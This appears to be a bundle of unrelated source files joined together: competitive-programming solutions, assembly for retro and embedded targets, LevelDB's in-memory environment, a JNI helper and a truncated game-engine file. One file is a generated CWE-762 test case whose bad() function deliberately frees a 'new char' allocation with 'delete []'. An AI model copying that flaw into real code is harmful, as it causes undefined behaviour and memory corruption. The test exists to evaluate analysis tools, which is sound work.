00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
#include <bits/stdc++.h>
using namespace std;
int main(int argc, char const *argv[]) {
#ifndef ONLINE_JUDGE
freopen("input.txt","r",stdin);
freopen("output.txt","w",stdout);
#endif
int t;
cin>>t;
int a,b,c;
int f=0;
while(t--) {
cin>>a>>b>>c;
if(a&b || b&c || a&c)++f;
}
cout<<f<<"\n";
return 0;
} |
; A052733: E.g.f.: x^2*(1-sqrt(1-4*x))/2.
; Submitted by Christian Krause
; 0,0,0,6,24,240,3600,70560,1693440,47900160,1556755200,57081024000,2328905779200,104589041356800,5124863026483200,272011960636416000,15543540607795200000,951264685197066240000,62070020709108572160000
mov $2,$0
trn $0,1
seq $0,52717 ; E.g.f. x*(1 - sqrt(1 - 4*x))/2 .
mul $0,$2
|
; A145801: Number of islands of ones fitting in an n X n array with all ones connected only either two adjacent vertically or two adjacent horizontally.
; 0,1,2,4,6,9,12,16,19,25,29,36
lpb $0
add $2,$0
trn $0,2
mov $1,6
cmp $1,$0
sub $2,$1
lpe
mov $0,$2
|
DEVICE ZXSPECTRUM128
MMU 0 3, 4
ORG 0x4000-2
orgL1:
.local:
ASSERT 4 == $$.local
DISP 0xC000-1
dispL1:
ASSERT 4 == $$orgL1 && 4 == $$ ; label and page in 0000-3FFF is 4
ASSERT 6 == $$dispL1 ; dispL1 page is taken from current mapping
; also the CSpect export of displaced labels is sort of "bogus", affected by this
set 5,(ix+0x41) ; 4B opcode across both ORG and DISP boundaries
ENT
orgL1end:
ASSERT 5 == $$orgL1end && 5 == $$ ; label and page in 4000-7FFF is 5
; exercise the label parsing/evaluation, line parsin
ASSERT 4 == $$orgL1.local && 4 == $$@orgL1.local && 1
ASSERT -1 == $$MissingLabel && 1
ASSERT $$ == $$..invalidLabelName ; parsing breaks completely, evaluating only first part
;; exercise macro nesting and reaching out for labels
TM MACRO expPageOuter?, expPage1?, expPage2?, recursion?
ASSERT expPageOuter? == $$.outer
ASSERT expPageOuter? == $$MacroNestingAndReaching.outer
ASSERT expPageOuter? == $$@MacroNestingAndReaching.outer
IF recursion?
ASSERT expPage1? == $$.inner
TM expPageOuter?, expPage1?, expPage2?, 0
ELSE
ASSERT expPage2? == $$.inner
ENDIF
.inner:
nop
ENDM
ORG $7FFF
MacroNestingAndReaching:
; MacroNestingAndReaching.outer = $8001, 0>inner = $8000, 1.0>inner = $7FFF
TM 6, 6, 5, 1
.outer:
CSPECTMAP "get_label_page_operator.sym"
|
; void *_falloc_(void *p, size_t size)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_alloc_malloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC __falloc_
EXTERN asm__falloc
__falloc_:
pop af
pop bc
pop hl
push hl
push bc
push af
jp asm__falloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC __falloc_
EXTERN __falloc__unlocked
defc __falloc_ = __falloc__unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE762_Mismatched_Memory_Management_Routines__new_delete_array_char_05.cpp
Label Definition File: CWE762_Mismatched_Memory_Management_Routines__new_delete_array.label.xml
Template File: sources-sinks-05.tmpl.cpp
*/
/*
* @description
* CWE: 762 Mismatched Memory Management Routines
* BadSource: Allocate data using new
* GoodSource: Allocate data using new []
* Sinks:
* GoodSink: Deallocate data using delete
* BadSink : Deallocate data using delete []
* Flow Variant: 05 Control flow: if(static_t) and if(static_f)
*
* */
#include "std_testcase.h"
/* The two variables below are not defined as "const", but are never
assigned any other value, so a tool should be able to identify that
reads of these will always return their initialized values. */
static int static_t = 1; /* true */
static int static_f = 0; /* false */
namespace CWE762_Mismatched_Memory_Management_Routines__new_delete_array_char_05
{
#ifndef OMITBAD
void bad()
{
char * data;
/* Initialize data*/
data = NULL;
if(static_t)
{
/* POTENTIAL FLAW: Allocate memory with a function that requires delete to free the memory */
data = new char;
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* FIX: Allocate memory from the heap using new [] */
data = new char[100];
}
if(static_t)
{
/* POTENTIAL FLAW: Deallocate memory using delete [] - the source memory allocation function may
* require a call to delete to deallocate the memory */
delete [] data;
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* FIX: Deallocate the memory using delete */
delete data;
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodB2G1() - use badsource and goodsink by changing the second static_t to static_f */
static void goodB2G1()
{
char * data;
/* Initialize data*/
data = NULL;
if(static_t)
{
/* POTENTIAL FLAW: Allocate memory with a function that requires delete to free the memory */
data = new char;
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* FIX: Allocate memory from the heap using new [] */
data = new char[100];
}
if(static_f)
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* POTENTIAL FLAW: Deallocate memory using delete [] - the source memory allocation function may
* require a call to delete to deallocate the memory */
delete [] data;
}
else
{
/* FIX: Deallocate the memory using delete */
delete data;
}
}
/* goodB2G2() - use badsource and goodsink by reversing the blocks in the second if */
static void goodB2G2()
{
char * data;
/* Initialize data*/
data = NULL;
if(static_t)
{
/* POTENTIAL FLAW: Allocate memory with a function that requires delete to free the memory */
data = new char;
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* FIX: Allocate memory from the heap using new [] */
data = new char[100];
}
if(static_t)
{
/* FIX: Deallocate the memory using delete */
delete data;
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* POTENTIAL FLAW: Deallocate memory using delete [] - the source memory allocation function may
* require a call to delete to deallocate the memory */
delete [] data;
}
}
/* goodG2B1() - use goodsource and badsink by changing the first static_t to static_f */
static void goodG2B1()
{
char * data;
/* Initialize data*/
data = NULL;
if(static_f)
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* POTENTIAL FLAW: Allocate memory with a function that requires delete to free the memory */
data = new char;
}
else
{
/* FIX: Allocate memory from the heap using new [] */
data = new char[100];
}
if(static_t)
{
/* POTENTIAL FLAW: Deallocate memory using delete [] - the source memory allocation function may
* require a call to delete to deallocate the memory */
delete [] data;
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* FIX: Deallocate the memory using delete */
delete data;
}
}
/* goodG2B2() - use goodsource and badsink by reversing the blocks in the first if */
static void goodG2B2()
{
char * data;
/* Initialize data*/
data = NULL;
if(static_t)
{
/* FIX: Allocate memory from the heap using new [] */
data = new char[100];
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* POTENTIAL FLAW: Allocate memory with a function that requires delete to free the memory */
data = new char;
}
if(static_t)
{
/* POTENTIAL FLAW: Deallocate memory using delete [] - the source memory allocation function may
* require a call to delete to deallocate the memory */
delete [] data;
}
else
{
/* INCIDENTAL: CWE 561 Dead Code, the code below will never run */
/* FIX: Deallocate the memory using delete */
delete data;
}
}
void good()
{
goodB2G1();
goodB2G2();
goodG2B1();
goodG2B2();
}
#endif /* OMITGOOD */
} // close namespace
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
using namespace CWE762_Mismatched_Memory_Management_Routines__new_delete_array_char_05; // so that we can use good and bad easily
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
;================================================================================================
; 文件:ipc.asm
; 作用:i386体系的消息通信向外暴露的的系统调用
; 作者: Flyan
; 联系QQ: 1341662010
;================================================================================================
; 库函数开始
[SECTION .lib]
; 导出库函数
global send
global receive
global send_rec
global in_outbox
; 常量定义,请查看 include/flyanx/common.h 和 src/kernel/const.h 文件下的定义
SEND equ 0x1
RECEIVE equ 0x2
SEND_REC equ 0x3
IN_OUTBOX equ 0x4
SYS_VEC equ 0x94 ; 系统调用向量
SRC_DEST_MSGP equ 4 + 4 + 4
; ebx + ecx + eip
MSG_PTR equ SRC_DEST_MSGP + 4
;*========================================================================*
; send *
; 执行系统调用 SEND
;*========================================================================*
; 本例程执行系统调用函数,op为SEND,系统调用原型:
; int sys_call(op, src_dest)
; 本例程只是对op = SEND的封装。
send:
; ebx/ecx 会被用到,所以我们将其保存一下
push ebx
push ecx
mov ecx, SEND ; ecx = 调用操作是发送消息,op = SEND
jmp com ; 公共的处理
;*========================================================================*
; receive *
; 执行系统调用 RECIIVE
;*========================================================================*
; 本例程执行系统调用函数,op 为 RECIIVE
receive:
; ebx/ecx 会被用到,所以我们将其保存一下
push ebx
push ecx
mov ecx, RECEIVE ; ecx = 调用操作是接收消息,op = RECEIVE
jmp com ; 公共的处理
;*========================================================================*
; send_rec *
; 执行系统调用 SEND_REC
;*========================================================================*
; 本例程执行系统调用函数,op 为 SEND_REC
send_rec:
; ebx/ecx 会被用到,所以我们将其保存一下
push ebx
push ecx
mov ecx, SEND_REC ; ecx = 调用操作是发送消息并等待对方响应,op = SEND_REC
jmp com
;*========================================================================*
; in_outbox *
; 执行系统调用 IN_OUTBOX
;*========================================================================*
; 本例程执行系统调用函数,op 为 IN_OUTBOX
in_outbox:
; ebx/ecx 会被用到,所以我们将其保存一下
push ebx
push ecx
mov ecx, IN_OUTBOX ; ecx = 调用操作是设置发件箱,op = OUTBOX
; 公共处理
com:
mov eax, [esp + SRC_DEST_MSGP] ; eax = src_dest_msgp
mov ebx, [esp + MSG_PTR] ; ebx = msg_ptr
int SYS_VEC ; 执行系统调用
pop ecx
pop ebx
ret |
; stage 2 boot loader.
; by Philip Simonson.
; =======================
[org 0x7e00]
[bits 16]
start:
mov [iBootDrive], dl
call reset_disk
; set text mode (80x25)
mov ax, 0x0003
int 0x10
call a20_bios
call check_a20
mov si, op_loading
call print
call load_file
; load kernel from sectors
mov bx, load_segment
mov es, bx
xor bx, bx
call read_disk
; switch on protected mode
cli
lgdt [gdt.pointer]
mov eax, cr0
or eax, 1
mov cr0, eax
jmp dword 0x08:INIT_PM
%include "common.inc"
%include "disk.inc"
%include "a20.inc"
%include "gdt.inc"
%include "boot.inc"
[bits 32]
INIT_PM:
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
mov ebp, 0x90000
mov esp, ebp
call run_offset
jmp $
%include "common32.inc"
; data
op_loading db "Loading kernel, please wait",0
op_done db "done!",10,13,0
op_a20yes db "A20 is enabled.",10,13,0
op_a20no db "A20 is disabled.",10,13,0
op_progress db 0x2e,0
op_ferror db 10,13,"File not found!",10,13,0
op_filename db "kernel bin",0
; constants
root_segment equ 0x0ee0
load_segment equ 0x1000
run_offset equ 0x00010000
|
// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.
#include "helpers/memenv/memenv.h"
#include <cstring>
#include <limits>
#include <map>
#include <string>
#include <vector>
#include "leveldb/env.h"
#include "leveldb/status.h"
#include "port/port.h"
#include "port/thread_annotations.h"
#include "util/mutexlock.h"
namespace leveldb {
namespace {
class FileState {
public:
// FileStates are reference counted. The initial reference count is zero
// and the caller must call Ref() at least once.
FileState() : refs_(0), size_(0) {}
// No copying allowed.
FileState(const FileState&) = delete;
FileState& operator=(const FileState&) = delete;
// Increase the reference count.
void Ref() {
MutexLock lock(&refs_mutex_);
++refs_;
}
// Decrease the reference count. Delete if this is the last reference.
void Unref() {
bool do_delete = false;
{
MutexLock lock(&refs_mutex_);
--refs_;
assert(refs_ >= 0);
if (refs_ <= 0) {
do_delete = true;
}
}
if (do_delete) {
delete this;
}
}
uint64_t Size() const {
MutexLock lock(&blocks_mutex_);
return size_;
}
void Truncate() {
MutexLock lock(&blocks_mutex_);
for (char*& block : blocks_) {
delete[] block;
}
blocks_.clear();
size_ = 0;
}
Status Read(uint64_t offset, size_t n, Slice* result, char* scratch) const {
MutexLock lock(&blocks_mutex_);
if (offset > size_) {
return Status::IOError("Offset greater than file size.");
}
const uint64_t available = size_ - offset;
if (n > available) {
n = static_cast<size_t>(available);
}
if (n == 0) {
*result = Slice();
return Status::OK();
}
assert(offset / kBlockSize <= std::numeric_limits<size_t>::max());
size_t block = static_cast<size_t>(offset / kBlockSize);
size_t block_offset = offset % kBlockSize;
size_t bytes_to_copy = n;
char* dst = scratch;
while (bytes_to_copy > 0) {
size_t avail = kBlockSize - block_offset;
if (avail > bytes_to_copy) {
avail = bytes_to_copy;
}
std::memcpy(dst, blocks_[block] + block_offset, avail);
bytes_to_copy -= avail;
dst += avail;
block++;
block_offset = 0;
}
*result = Slice(scratch, n);
return Status::OK();
}
Status Append(const Slice& data) {
const char* src = data.data();
size_t src_len = data.size();
MutexLock lock(&blocks_mutex_);
while (src_len > 0) {
size_t avail;
size_t offset = size_ % kBlockSize;
if (offset != 0) {
// There is some room in the last block.
avail = kBlockSize - offset;
} else {
// No room in the last block; push new one.
blocks_.push_back(new char[kBlockSize]);
avail = kBlockSize;
}
if (avail > src_len) {
avail = src_len;
}
std::memcpy(blocks_.back() + offset, src, avail);
src_len -= avail;
src += avail;
size_ += avail;
}
return Status::OK();
}
private:
enum { kBlockSize = 8 * 1024 };
// Private since only Unref() should be used to delete it.
~FileState() { Truncate(); }
port::Mutex refs_mutex_;
int refs_ GUARDED_BY(refs_mutex_);
mutable port::Mutex blocks_mutex_;
std::vector<char*> blocks_ GUARDED_BY(blocks_mutex_);
uint64_t size_ GUARDED_BY(blocks_mutex_);
};
class SequentialFileImpl : public SequentialFile {
public:
explicit SequentialFileImpl(FileState* file) : file_(file), pos_(0) {
file_->Ref();
}
~SequentialFileImpl() override { file_->Unref(); }
Status Read(size_t n, Slice* result, char* scratch) override {
Status s = file_->Read(pos_, n, result, scratch);
if (s.ok()) {
pos_ += result->size();
}
return s;
}
Status Skip(uint64_t n) override {
if (pos_ > file_->Size()) {
return Status::IOError("pos_ > file_->Size()");
}
const uint64_t available = file_->Size() - pos_;
if (n > available) {
n = available;
}
pos_ += n;
return Status::OK();
}
private:
FileState* file_;
uint64_t pos_;
};
class RandomAccessFileImpl : public RandomAccessFile {
public:
explicit RandomAccessFileImpl(FileState* file) : file_(file) { file_->Ref(); }
~RandomAccessFileImpl() override { file_->Unref(); }
Status Read(uint64_t offset, size_t n, Slice* result,
char* scratch) const override {
return file_->Read(offset, n, result, scratch);
}
private:
FileState* file_;
};
class WritableFileImpl : public WritableFile {
public:
WritableFileImpl(FileState* file) : file_(file) { file_->Ref(); }
~WritableFileImpl() override { file_->Unref(); }
Status Append(const Slice& data) override { return file_->Append(data); }
Status Close() override { return Status::OK(); }
Status Flush() override { return Status::OK(); }
Status Sync() override { return Status::OK(); }
private:
FileState* file_;
};
class NoOpLogger : public Logger {
public:
void Logv(const char* format, std::va_list ap) override {}
};
class InMemoryEnv : public EnvWrapper {
public:
explicit InMemoryEnv(Env* base_env) : EnvWrapper(base_env) {}
~InMemoryEnv() override {
for (const auto& kvp : file_map_) {
kvp.second->Unref();
}
}
// Partial implementation of the Env interface.
Status NewSequentialFile(const std::string& fname,
SequentialFile** result) override {
MutexLock lock(&mutex_);
if (file_map_.find(fname) == file_map_.end()) {
*result = nullptr;
return Status::IOError(fname, "File not found");
}
*result = new SequentialFileImpl(file_map_[fname]);
return Status::OK();
}
Status NewRandomAccessFile(const std::string& fname,
RandomAccessFile** result) override {
MutexLock lock(&mutex_);
if (file_map_.find(fname) == file_map_.end()) {
*result = nullptr;
return Status::IOError(fname, "File not found");
}
*result = new RandomAccessFileImpl(file_map_[fname]);
return Status::OK();
}
Status NewWritableFile(const std::string& fname,
WritableFile** result) override {
MutexLock lock(&mutex_);
FileSystem::iterator it = file_map_.find(fname);
FileState* file;
if (it == file_map_.end()) {
// File is not currently open.
file = new FileState();
file->Ref();
file_map_[fname] = file;
} else {
file = it->second;
file->Truncate();
}
*result = new WritableFileImpl(file);
return Status::OK();
}
Status NewAppendableFile(const std::string& fname,
WritableFile** result) override {
MutexLock lock(&mutex_);
FileState** sptr = &file_map_[fname];
FileState* file = *sptr;
if (file == nullptr) {
file = new FileState();
file->Ref();
}
*result = new WritableFileImpl(file);
return Status::OK();
}
bool FileExists(const std::string& fname) override {
MutexLock lock(&mutex_);
return file_map_.find(fname) != file_map_.end();
}
Status GetChildren(const std::string& dir,
std::vector<std::string>* result) override {
MutexLock lock(&mutex_);
result->clear();
for (const auto& kvp : file_map_) {
const std::string& filename = kvp.first;
if (filename.size() >= dir.size() + 1 && filename[dir.size()] == '/' &&
Slice(filename).starts_with(Slice(dir))) {
result->push_back(filename.substr(dir.size() + 1));
}
}
return Status::OK();
}
void RemoveFileInternal(const std::string& fname)
EXCLUSIVE_LOCKS_REQUIRED(mutex_) {
if (file_map_.find(fname) == file_map_.end()) {
return;
}
file_map_[fname]->Unref();
file_map_.erase(fname);
}
Status RemoveFile(const std::string& fname) override {
MutexLock lock(&mutex_);
if (file_map_.find(fname) == file_map_.end()) {
return Status::IOError(fname, "File not found");
}
RemoveFileInternal(fname);
return Status::OK();
}
Status CreateDir(const std::string& dirname) override { return Status::OK(); }
Status RemoveDir(const std::string& dirname) override { return Status::OK(); }
Status GetFileSize(const std::string& fname, uint64_t* file_size) override {
MutexLock lock(&mutex_);
if (file_map_.find(fname) == file_map_.end()) {
return Status::IOError(fname, "File not found");
}
*file_size = file_map_[fname]->Size();
return Status::OK();
}
Status RenameFile(const std::string& src,
const std::string& target) override {
MutexLock lock(&mutex_);
if (file_map_.find(src) == file_map_.end()) {
return Status::IOError(src, "File not found");
}
RemoveFileInternal(target);
file_map_[target] = file_map_[src];
file_map_.erase(src);
return Status::OK();
}
Status LockFile(const std::string& fname, FileLock** lock) override {
*lock = new FileLock;
return Status::OK();
}
Status UnlockFile(FileLock* lock) override {
delete lock;
return Status::OK();
}
Status GetTestDirectory(std::string* path) override {
*path = "/test";
return Status::OK();
}
Status NewLogger(const std::string& fname, Logger** result) override {
*result = new NoOpLogger;
return Status::OK();
}
private:
// Map from filenames to FileState objects, representing a simple file system.
typedef std::map<std::string, FileState*> FileSystem;
port::Mutex mutex_;
FileSystem file_map_ GUARDED_BY(mutex_);
};
} // namespace
Env* NewMemEnv(Env* base_env) { return new InMemoryEnv(base_env); }
} // namespace leveldb
|
#pragma GCC optimize("Ofast")
#pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,avx2,fma")
#pragma GCC optimize("unroll-loops")
#include <bits/stdc++.h>
#include <complex>
#include <queue>
#include <set>
#include <unordered_set>
#include <list>
#include <chrono>
#include <random>
#include <iostream>
#include <algorithm>
#include <cmath>
#include <string>
#include <vector>
#include <map>
#include <unordered_map>
#include <stack>
#include <iomanip>
#include <fstream>
using namespace std;
typedef unsigned long long ull;
typedef long long ll;
typedef long double ld;
typedef pair<int, int> p32;
typedef pair<ll, ll> p64;
typedef pair<double, double> pdd;
typedef vector<ll> v64;
typedef vector<int> v32;
typedef vector<vector<int>> vv32;
typedef vector<vector<ll>> vv64;
typedef vector<vector<p64>> vvp64;
typedef vector<p64> vp64;
typedef vector<p32> vp32;
ll MOD = 1000000007;
double eps = 1e-12;
#define forn(i, n) for (ll i = 0; i < n; i++)
#define forsn(i, s, e) for (ll i = s; i < e; i++)
#define rforn(i, s) for (ll i = s; i >= 0; i--)
#define rforsn(i, s, e) for (ll i = s; i >= e; i--)
#define ln "\n"
#define dbg(x) cout << #x << " = " << x << ln
#define mp make_pair
#define pb push_back
#define fi first
#define se second
#define INF 2e18
#define fast_cin() \
ios_base::sync_with_stdio(false); \
cin.tie(NULL); \
cout.tie(NULL)
#define all(x) (x).begin(), (x).end()
#define al(arr, n) arr, arr + n
#define sz(x) ((ll)(x).size())
void solve()
{
int n, flag = 0;
cin >> n;
int arr[n];
map<int, int> m;
forn(i, n)
{
cin >> arr[i];
m[arr[i]]++;
if (m[arr[i]] >= 2)
{
flag = 1;
}
}
if (flag == 0 && m.size() != 1)
{
cout << -1 << ln;
return;
}
if (m.size() == 1)
{
cout << 0 << ln;
return;
}
int maxi = INT_MIN;
for (auto t : m)
{
maxi = max(t.second, maxi);
}
cout << n - maxi + 1 << ln;
}
int main()
{
fast_cin();
ll t;
cin >> t;
for (int it = 1; it <= t; it++)
{
solve();
}
return 0;
} |
;Sounding the Buzzer on PT5 using Chann 5 Timer (Output Compare option)
;PT5 of PORTT is connected to buzzer/speaker on Dragon12+ board
;Notice this is NOT using any Time Delay
;Modified from Example 9-11 HCS12 book by Mazidi & Causey for Dragon12+ board/CodeWarrior
ABSENTRY Entry ; for absolute assembly: mark this as application entry point
; Include derivative-specific definitions
INCLUDE 'mc9s12dp256.inc' ;CPU used by Dragon12+ board
;code section
ORG $4000 ;Flash ROM address for Dragon12+
Entry:
LDS #$4000 ;Stack
BSET DDRT,%00100000 ;Make PT5 an out for Buzzer
;---Sound the Buzzer by toggling PT5 pin using Timer chan 5
;Timer Chan5 set-up
LDAA #$80 ;if you use $90, then NO need for "BSET TFLG1,%00100000"
STAA TSCR1 ;at the end of this program righ above BRA OVER
LDAA #$05 ;Prescaler=128. Change (0-7) to hear different sound
STAA TSCR2
BSET TIOS,%00100000 ;Output Compare option for Channel 5
LDAA #%00000100 ;Toggle PT5 pin option
STAA TCTL1
OVER LDD TCNT
ADDD #500 ;Change this number to hear different sound
STD TC5
HERE BRCLR TFLG1,mTFLG1_C5F,HERE
BSET TFLG1,%00100000 ;Clear the Chan 5 Timer flag for next round (writing HIGH will clear it). No need for this if you use TSCR1=$90
BRA OVER
;**************************************************************
;* Interrupt Vectors *
;**************************************************************
ORG $FFFE
DC.W Entry ;Reset Vector. CPU wakes here and it is sent to start of the code at $4000
|
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// \file
///
/// \copyright Copyright (C) 2015 - 2020 CoSoSys Ltd <info@cososys.com>\n
/// Licensed under the Apache License, Version 2.0 (the "License");\n
/// you may not use this file except in compliance with the License.\n
/// You may obtain a copy of the License at\n
/// http://www.apache.org/licenses/LICENSE-2.0\n
/// Unless required by applicable law or agreed to in writing, software\n
/// distributed under the License is distributed on an "AS IS" BASIS,\n
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n
/// See the License for the specific language governing permissions and\n
/// limitations under the License.\n
/// Please see the file COPYING.
///
/// \authors Cristian ANITA <cristian.anita@cososys.com>, <cristian_anita@yahoo.com>
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#include <cppdevtk/jni/config.hpp>
#if (CPPDEVTK_FORCE_DBC_IN_JNI_API)
#undef CPPDEVTK_ENABLE_DBC
#define CPPDEVTK_ENABLE_DBC 1
#undef CPPDEVTK_DBC_DISABLE_CHECK_PRECONDITION
#define CPPDEVTK_DBC_DISABLE_CHECK_PRECONDITION (!CPPDEVTK_ENABLE_DBC || 0)
#endif
#if (CPPDEVTK_DISABLE_CPPDEVTK_WARNINGS && CPPDEVTK_COMPILER_MSVC)
# pragma warning(disable: 4459) // C4459: declaration of 'item' hides global declaration
#endif
#include <cppdevtk/jni/cpp_this_field.hpp>
#include <cppdevtk/jni/exceptions_support.hpp>
#include <cppdevtk/jni/exceptions.hpp>
#include <cppdevtk/base/cassert.hpp>
#include <cppdevtk/base/on_block_exit.hpp>
#include <cppdevtk/base/dbc.hpp>
#include <cstddef>
namespace cppdevtk {
namespace jni {
namespace detail {
CPPDEVTK_JNI_API jfieldID GetCppThisFieldId(JNIEnv* pJniEnv, jobject jObject) {
CPPDEVTK_DBC_CHECK_NON_NULL_ARGUMENT(pJniEnv);
CPPDEVTK_DBC_CHECK_NON_NULL_ARGUMENT(jObject);
CPPDEVTK_DBC_CHECK_PRECONDITION(pJniEnv->ExceptionCheck() == JNI_FALSE);
jclass jClass = pJniEnv->GetObjectClass(jObject);
CPPDEVTK_ON_BLOCK_EXIT_BEGIN((&pJniEnv)(&jClass)) {
pJniEnv->DeleteLocalRef(jClass);
}
CPPDEVTK_ON_BLOCK_EXIT_END
CPPDEVTK_THROW_CPP_EXC_IF_JAVA_PENDING_EXC_OR_NULL_PTR(pJniEnv, jClass, "failed to get object class", false);
jfieldID jFieldId = pJniEnv->GetFieldID(jClass, "cppThis_", "J"); // J is the type signature for long
CPPDEVTK_THROW_CPP_EXC_IF_JAVA_PENDING_EXC_OR_NULL_PTR(pJniEnv, jFieldId, "failed to get cppThis_ field id", false);
return jFieldId;
}
} // namespace detail
} // namespace jni
} // namespace cppdevtk
|
// Portal.cpp: implementation of the CPortal class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "r__sector.h"
#include "../../xrEngine/xrLevel.h"
#include "../../xrEngine/xr_object.h"
#include "fbasicvisual.h"
#include "../../xrEngine/IGame_Persistent.h"
#include "dxRenderDeviceRender.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CPortal::CPortal ()
{
#ifdef DEBUG
Device.seqRender.Add(this,REG_PRIORITY_LOW-1000);
#endif
}
CPortal::~CPortal ()
{
#ifdef DEBUG
Device.seqRender.Remove(this);
#endif
}
#ifdef DEBUG
void CPortal::OnRender ()
{
if (psDeviceFlags.is(rsOcclusionDraw)){
VERIFY (poly.size());
// draw rect
using LVec = xr_vector<FVF::L>;
